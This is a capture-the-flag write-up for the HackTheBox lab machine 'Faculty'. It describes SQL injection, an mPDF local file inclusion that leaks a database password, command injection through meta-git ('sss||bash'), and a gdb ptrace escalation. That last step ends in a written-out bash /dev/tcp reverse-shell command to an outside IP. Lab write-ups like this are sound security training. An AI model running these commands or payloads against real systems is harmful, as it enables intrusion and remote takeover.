Our nmap scan only finds SSH and an nginx webserver on port 80. We discover a login page to an application called "School Faculty Scheduling System," which we can bypass using a basic SQL injection. In the main application, we are able to generate pdfs of a table of data. By looking at the URL where the PDFs are served from and the actual PDF metadata, we learn that they are generated using mPDF. We look at the requests that are sent when we click the PDF download button and see that we control the PDF content through a base64 encoded string. After a lot of digging, we find a local file inclusion (LFI) exploit in mPDF. We also are able to get the website to produce an erorr page that gives the full path to one of its PHP files. Using the LFI exploit, we get this file and obtain some credentials.
The credentials get us connect to the box via SSH and sudo -l shows that we can run meta-git as another user. We find an exploit and move laterally to that other user. On the new user, we get the user.txt flag. We run LinPEAS and discover that we can now run GDB and that GDB has the SYS_PTRACE capability, so it can attached to processes running as root. We find a python3 process, attach to it, and make a call to system giving us a reverse shell as root!
Enumeration
Nmap
First, let's scan for open ports using nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.169 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -p$ports -sC -sV 10.10.11.169.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e9:41:8c:e5:54:4d:6f:14:98:76:16:e7:29:2d:02:16 (RSA)
| 256 43:75:10:3e:cb:78:e9:52:0e:eb:cf:7f:fd:f6:6d:3d (ECDSA)
|_ 256 c1:1c:af:76:2b:56:e8:b3:b8:8a:e9:69:73:7b:e6:f5 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://faculty.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Pretty light nmap scan for this box. Only SSH and a nginx webserver.
Let's add the faculty.htb domain to /etc/hosts: echo "10.10.11.169 faculty.htb" | sudo tee -a /etc/hosts.
Nginx (Port 80)
Navigating to http://faculty.htb redirects to http://faculty.htb/login.php:
We try to brute force the required id number using burpsuite's intruder feature, but after trying a few hundred numbers with no luck we give up.
Let's brute force directories with ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://faculty.htb/FUZZ:
Anyway, the "Faculty List" section contains the information we need:
ID Name Email Contact
85662050 Blake, Claire G cblake@faculty.htb (763) 450-0121
30903070 James, Eric P ejames@faculty.htb (702) 368-3689
63033226 Smith, John C jsmith@faculty.htb (646) 559-9192
Now that we have emails and, more importantly, some ID numbers, we can try to get into the main page at http://faculty.htb, but going back to the main page just shows us a calendar. Logging out as admin and using an ID number does work, but doesn't seem to get us anywhere:
Interestingly, we can generate a PDF of the table. We get a pdf at http://faculty.htb/mpdf/tmp/OKFEkR81dfJX73wmOhSsyV9r0D.pdf. The mpdf in the URL indicates that this PDF was generated using mpdf.
Going back to the PDF download button and clicking it with the Network tab open in Firefox's developer tools shows that the button makes a POST request to /download.php:
There is a pdf field submitted with the following data:
Finding the exploit was kind of difficult in this case. Looking at the changelog for mpdf for version 6.1.0 doesn't seem interesting, but in version 7.0.0 this line is interesting: Security: Embedded files via <annotation> custom tag must be explicitly allowed via allowAnnotationFiles configuration key. Searching for "mpdf embedded files annotation tag" finds Make annotation tags disabled by default (mpdf annotation tag documentation).
Let's use burp to send this as the PDF to be generated instead of the table. First, we need to encode this in the reverse order that CyberChef decoded the PDF originally. So, with CyberChef we URL encode twice and then base64 encode:
Then, all we have to do is open up the sidebar in Firefox's pdf.js viewer and look at the attached files. Or you can mouse over the small dot in the rop right and click the file name:
However, sending thise on in burp produces an error: mPDF Error: Cannot access file attachment - /home/developer/.ssh/id_rsa. So, that file doesn't exist. /home/gbyolo/.ssh/id_rsa also doesn't exist.
Looking back at the application, we see that we can view users' schedules:
Clicking one produces a request in burp with faculty_id=2. I messed around with different values and found that sending a non-integer like faculty_id=not_an_int produces an error message:
As you can see, we are given the absolute path of a file that is part of the website: /var/www/scheduling/admin/admin_class.php. Let's read that with the LFI exploit we discovered with mpdf:
Using the same method as before, this gives us admin_class.php. Right at the top there is a mention of a db_connect.php file. Let's get that via LFI too:
$conn=newmysqli('localhost','sched','Co.met06aci.dly53ro.per','scheduling_db')ordie("Could not connect to mysql".mysqli_error($con));
This gives us the password Co.met06aci.dly53ro.per. Attempting to login via SSH as developer with this password doesn't work, but trying it with the gbyolo user does work!
No user.txt so it looks like we to pivot to the developer user.
Lateral Movement
We switch to pwncat instead of ssh so we can easily upload LinPEAS by running upload linpeas.sh in the local shell. Run LinPEAS with ./linpeas.sh -a 2>&1 | tee linpeas_report_gbyolo.txt. Download the report with download linpeas_report_gbyolo.txt in the local terminal. You can open linpeas_report_gbyolo.txt with less -R linpeas_report_gbyolo.txt.
This doesn't find too many interesting things. But, since we have the password for this user, we can check sudo -l:
Matching Defaults entries for gbyolo on faculty:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User gbyolo may run the following commands on faculty:
(developer) /usr/local/bin/meta-git
We can run /usr/local/bin/meta-git as the developer user.
Running ls -la /usr/local/bin/meta-git shows that /usr/local/bin/meta-git is a sumbolic link to ../lib/node_modules/meta-git/bin/meta-git, which is an NPM package so we can find it up on npmjs.com.
After manually trying to find an exploit for a while, I instaed simply Google "meta-git exploit" and immediately find what I was looking for: HackerOne report.
We can use the following syntax to get command execution: /usr/local/bin/meta-git clone 'sss||bash'. Make sure to execute it with sudo -u developer so it runs as the developer user: sudo -u developer /usr/local/bin/meta-git clone 'sss||bash'.
We get the following output:
meta git cloning into 'sss||bash' at sss||bash
sss||bash:
sss||bash: command 'git clone sss||bash sss||bash' exited with error: Error: spawnSync /bin/sh EACCES
(node:255220) UnhandledPromiseRejectionWarning: Error: EACCES: permission denied, chdir '/home/gbyolo/sss||bash'
at process.chdir (internal/process/main_thread_only.js:31:12)
at exec (/usr/local/lib/node_modules/meta-git/bin/meta-git-clone:27:11)
at execPromise.then.catch.errorMessage (/usr/local/lib/node_modules/meta-git/node_modules/meta-exec/index.js:104:22)
at process._tickCallback (internal/process/next_tick.js:68:7)
at Function.Module.runMain (internal/modules/cjs/loader.js:834:11)
at startup (internal/bootstrap/node.js:283:19)
at bootstrapNodeJSCore (internal/bootstrap/node.js:623:3)
(node:255220) UnhandledPromiseRejectionWarning: Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). (rejection id: 2)
(node:255220) [DEP0018] DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.
The issue is that we are still in /home/gbyolo, which developer cannot access so we cd /tmp and then run it and it works!
We can now cat ~user.txt to get the user.txt flag and run cat ~/.ssh/id_rsa to get the SSh private key and login direrctly as developer.
Privilege Escalation
We can run LinPEAS again with ./linpeas.sh -a 2>&1 | tee linpeas_report_developer.txt to see if there is anything new: linpeas_report_developer.txt
We notice this file in the home directory: /home/developer/sendmail.sh:
#!/bin/bash[ -s /var/mail/gbyolo ] ||echo"Hi gbyolo, you can now manage git repositories belonging to the faculty group. Please check and if you have troubles just let me know!\ndeveloper@faculty.htb"|/usr/bin/mail-s"Faculty group"gbyolo@faculty.htb
We also notice this interesting output from LinPEAS:
╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rwxr-x--- 1 root debug 8440200 Dec 8 2021 /usr/bin/gdb
-rw-r----- 1 root developer 33 Jul 27 13:06 /home/developer/user.txt
Basically, since we are in the debug group, we have access to execute gdb, a debugging program. On this machine, gdb has the SYS_PTRACE capability, which means we can use it to "trace arbitrary processes using ptrace" (source). HackTricks has some additional information. Under the "Example with environment (Docker breakout) - Gdb Abuse" heading they discuss roughly what we are about to do.
We're going to use gdb to debug a process running as root and then make that process call the system function.
For help, type "help".
Type "apropos word" to search for commands related to "word".
Attaching to process 723
Reading symbols from /usr/bin/python3.8...
(No debugging symbols found in /usr/bin/python3.8)
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...
Reading symbols from /usr/lib/debug/.build-id/18/78e6b475720c7c51969e69ab2d276fae6d1dee.debug...
Reading symbols from /lib/x86_64-linux-gnu/libpthread.so.0...
Reading symbols from /usr/lib/debug/.build-id/7b/4536f41cdaa5888408e82d0836e33dcf436466.debug...
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Reading symbols from /lib/x86_64-linux-gnu/libdl.so.2...
Reading symbols from /usr/lib/debug/.build-id/c0/f40155b3f8bf8c494fa800f9ab197ebe20ed6e.debug...
Reading symbols from /lib/x86_64-linux-gnu/libutil.so.1...
Reading symbols from /usr/lib/debug/.build-id/4f/3ee75c38f09d6346de1e8eca0f8d8a41071d9f.debug...
Reading symbols from /lib/x86_64-linux-gnu/libm.so.6...
Reading symbols from /usr/lib/debug/.build-id/fe/91b4090ea04c1559ff71dd9290062776618891.debug...
Reading symbols from /lib/x86_64-linux-gnu/libexpat.so.1...
(No debugging symbols found in /lib/x86_64-linux-gnu/libexpat.so.1)
Reading symbols from /lib/x86_64-linux-gnu/libz.so.1...
(No debugging symbols found in /lib/x86_64-linux-gnu/libz.so.1)
Reading symbols from /lib64/ld-linux-x86-64.so.2...
Reading symbols from /usr/lib/debug/.build-id/45/87364908de169dec62ffa538170118c1c3a078.debug...
Reading symbols from /lib/x86_64-linux-gnu/libnss_files.so.2...
Reading symbols from /usr/lib/debug/.build-id/45/da81f0ac3660e3c3cb947c6244151d879ed9e8.debug...
Reading symbols from /usr/lib/python3.8/lib-dynload/_json.cpython-38-x86_64-linux-gnu.so...
(No debugging symbols found in /usr/lib/python3.8/lib-dynload/_json.cpython-38-x86_64-linux-gnu.so)
Reading symbols from /usr/lib/python3/dist-packages/gi/_gi.cpython-38-x86_64-linux-gnu.so...
(No debugging symbols found in /usr/lib/python3/dist-packages/gi/_gi.cpython-38-x86_64-linux-gnu.so)
Reading symbols from /lib/x86_64-linux-gnu/libglib-2.0.so.0...
(No debugging symbols found in /lib/x86_64-linux-gnu/libglib-2.0.so.0)
Reading symbols from /lib/x86_64-linux-gnu/libgobject-2.0.so.0...
--Type <RET> for more, q to quit, c to continue without paging--q
Quit
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/10.10.14.98/58619 0>&1'")
[Detaching after vfork from child process 476449]
This should spawn a reverse shell as the root user. Run cat /root/root.txt to get the root.txt flag.